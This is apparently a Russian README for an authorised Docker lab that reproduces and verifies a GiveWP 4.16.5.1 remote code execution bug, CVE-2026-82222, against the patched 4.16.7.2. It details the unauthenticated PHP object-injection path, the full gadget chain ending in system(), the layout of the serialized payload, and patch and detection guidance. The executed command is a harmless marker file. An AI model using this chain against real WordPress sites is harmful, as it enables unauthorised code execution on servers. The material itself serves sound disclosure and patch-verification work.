
# Авторизованная Docker-лаборатория и чистый PoC для проверки CVE-2026-82222 RCE в GiveWP 4.16.5.1 и исправления 4.16.7.2.
Материалы для исследования безопасности, предназначенные для воспроизведения и проверки CVE-2026-82222 в изолированной Docker-лаборатории.
Для прямого PoC RCE и сканирования URL используйте CVE-2026-8222-RCE.py
Статус: подтверждено в предоставленной лаборатории
GiveWP 4.16.5.1 позволяет изначально неаутентифицированному атакующему сохранить граф PHP-объектов, восстановить его через обработку сессий GiveWP и выполнить фиксированную маркерную команду от имени пользователя веб-сервера WordPress.
Положительный результат теста:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG создан пользователем www-data
Сквозной результат также был воспроизведён на чистом, неинструментированном исходном коде GiveWP 4.16.5.1. GiveWP 4.16.7.2 заблокировал HTTP-носитель в протестированной конфигурации и независимо заблокировал терминальный гаджет при прямом управлении.
Это демонстрирует выполнение команд внутри контейнера WordPress. Это не демонстрирует получение root-доступа, выход из контейнера, горизонтальное перемещение или компрометацию хоста.
Используйте этот репозиторий только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Предоставленный PoC намеренно ограничен:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback.127.0.0.1.HTTP-тест создаёт одноразового донора, метаданные и строки сессии GiveWP. После тестирования используйте встроенную команду сброса.
Требования:
curlunzipsha256sum или shasumdownloads.wordpress.org для официальных архивов плагиновЗапустите полную матрицу уязвимая/исправленная версия:
./lab verify
Эта команда:
ProviderForwarder также отклоняет строковый callable.Исправленная лаборатория остаётся запущенной в конце. Удалите её с помощью:
./lab reset
Для использования другого loopback-порта:
LAB_PORT=8099 ./lab verify
Уязвимый контроль должен завершиться конкретными терминальными доказательствами:
[PASS] E1: неаутентифицированная регистрация выдала auth cookie
[PASS] E3: сериализованный граф сохранён в собственном last_name
[PASS] E4: получен nonce формы пожертвования
[PASS] E5: запись сессии достигла ожидаемого пост-синка HTTP status=500
[PASS] E6: чтение/уничтожение сессии завершено
маркер присутствует и принадлежит веб-пользователю WordPress
RESULT: УЯЗВИМЫЙ КОНТРОЛЬ ПОДТВЕРЖДЁН
Исправленный контроль должен показать:
[PASS] P1: исправленный шлюз регистрации заблокировал auth cookie
DIRECT_MARKER=absent
HTTP-маркер отсутствует, и прямой терминальный гаджет заблокирован
RESULT: ИСПРАВЛЕННЫЙ КОНТРОЛЬ ПОДТВЕРЖДЁН
HTTP 500, сохранённая нагрузка, исключение или срабатывание детектора без маркера не принимаются как доказательство RCE.
Запустите и протестируйте уязвимую версию:
./lab start vulnerable
./lab test
Запустите и протестируйте исправленную версию:
./lab start patched
./lab test
Проверьте текущее состояние:
./lab status
Удалите контейнеры, тома, тестовых пользователей, сессии и состояние маркера:
./lab reset
Кэшированные ZIP-архивы плагинов и извлечённые ресурсы сохраняются для ускорения повторных запусков. Удалите и эти сгенерированные ресурсы с помощью:
./lab reset --purge-assets
| Версия | Оценка |
|---|---|
| GiveWP 4.16.5.1 | RCE воспроизведён сквозным образом |
| GiveWP 4.16.6–4.16.7.1 | Указаны как затронутые; здесь индивидуально не воспроизведены |
| GiveWP 4.16.7.2 | Исправленные отрицательные контроли воспроизведены |
| Более поздние версии | Индивидуально не тестировались; обновитесь до последней поддерживаемой версии |
Публичный advisory указывает версии до 4.16.7.1 включительно как затронутые. Этот репозиторий напрямую доказывает только две версии в своей матрице положительных/отрицательных тестов.
Ссылки:
Эксплойт сочетает несколько видов поведения:
Give\Helpers\Utils::maybeSafeUnserialize() использует
allowed_classes => false, создавая __PHP_Incomplete_Class, но последующая
сериализация сохраняет исходные имена классов и свойства.maybe_unserialize() восстанавливает поставляемые классы.system().В HTTP-носителе требуются четыре литеральных обратных слэша в пространстве имён. Два
эффективных прохода удаления уменьшают их 4 -> 2 -> 1. Нагрузка не содержит NUL-байтов,
и PHP 8.1.30 был проверен на корректное восстановление обычного сериализованного имени для
приватного свойства Session::$attributeName.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Граф, контролируемый атакующим:
TCPDF
├── file_id = уникальный идентификатор запроса
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = фиксированная маркерная команда
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
Критический скрытый переход — это неявная диспетчеризация IteratorAggregate
в PHP. TCPDF::$imagekeys не типизирован, поэтому присвоение Symfony Session
заставляет foreach вызывать Session::getIterator().
Маркерная команда выполняется до того, как Symfony применит
тип возврата getAttributeBag(): AttributeBagInterface. Возникающие
TypeError и HTTP 500 являются пост-синк эффектами.
Отклонённый граф-кандидат использовал:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
Этот граф не может работать. TCPDF::_destroy() только удаляет objcopy; PHP не
направляет автоматическое уничтожение через __call('__destruct', ...).
Отсутствующей операцией была:
foreach ($this->imagekeys as $file) {
Более ранний обзор следовал за деструкторами и явными вызовами методов, но не
рекурсивно исследовал неявный объектный протокол, запускаемый foreach.
Symfony Session предоставляет недостающий мост:
foreach вызывает getIterator().getIterator() достигает getBag($attributeName).storage — это DonationFactory.getBag вызывает ProviderForwarder::__call().loadedProviders['getBag'] = 'system' выбирает callable.attributeName предоставляет аргумент команды.Соответствующие места в GiveWP 4.16.5.1:
| Компонент | Расположение |
|---|---|
| Защищённая начальная десериализация | src/Helpers/Utils.php:203-217,237-241 |
| Носитель пожертвования | includes/process-donation.php:157 |
| Персистентность сессии GiveWP | includes/class-give-session.php:364-368,489-508 |
| Неограниченное восстановление сессии | includes/class-give-session.php:347-350 |
| Деструктор TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| Итерация, контролируемая атакующим | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| Мост итератора Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
Мост getBag Symfony | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| Терминальный callable | src/TestData/Framework/ProviderForwarder.php:19-23 |
| Автозагрузчики Composer GiveWP | give.php:624-625 |
Хеши официальных релизов:
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
Лаборатория заново извлекает каждый плагин из проверенного ZIP-архива перед каждым новым запуском, копирует его в WordPress без изменений и побайтово сравнивает развёрнутое полное дерево файлов плагина с проверенным исходным кодом. Три официальных Docker-образа также закреплены за своими многоплатформенными манифестными дайджестами.
GiveWP 4.16.7.2 добавляет независимые защиты в регистрацию, обработку сериализованных входных данных, восстановление сессии, миграцию данных и усиление гаджетов.
Терминальное усиление требует, чтобы разрешённый объект реализовывал ожидаемый контракт провайдера:
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
Контролируемая атакующим строка system поэтому отклоняется. Прямое управление
в этом репозитории обходит HTTP-носитель и проверяет, что одна эта
терминальная защита оставляет маркер отсутствующим.
Отрицательный результат PoC сам по себе не доказывает, что сайт исправлен. WAF, другая маршрутизация, отключённая регистрация, отсутствующая устаревшая форма, конфигурация сессий или отключённые PHP-функции команд могут предотвратить появление маркера на всё ещё уязвимой кодовой базе.
Предпочтительная процедура проверки:
Проверка версии:
wp plugin get give --fields=name,status,version
Обновите GiveWP до последней поддерживаемой версии. После обновления:
TCPDF, Symfony
Session или loadedProviders.Если интернет-доступная уязвимая установка содержит артефакты инъекции объектов, рассматривайте это как потенциальную компрометацию, а не только как необходимость обновления плагина.
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
Не включено в коммит:
официальные ZIP-архивы плагинов
извлечённый исходный код GiveWP
инструментированный исходный код цели
cookie или данные сессий
доказательства/журналы выполнения
внутренние адреса целей или повторно используемые учётные данные
устаревшие нагрузки objcopy
исторические результаты проверки
| Утверждение | Статус |
|---|---|
| Персистентный носитель PHP-инъекции объектов | Доказано |
| Восстановление поставляемых классов | Доказано |
| Полная стандартная POP-цепочка | Доказано |
| Фиксированный маркер выполнен от имени веб-пользователя | Доказано |
| Воспроизведение на чистой версии 4.16.5.1 | Доказано |
| Отрицательные контроли на чистой версии 4.16.7.2 | Доказано |
| Каждая промежуточная затронутая версия протестирована | Не тестировалось |
| Root-привилегии | Не заявляется |
| Выход из контейнера | Не тестировалось |
| Компрометация хоста | Не тестировалось |
Стандарт доказательства намеренно строгий: только наблюдаемый командный маркер через немодифицированную стандартную цепочку обозначается как RCE. HTTP-приём, сериализация, исключения и срабатывания детекторов являются промежуточными доказательствами.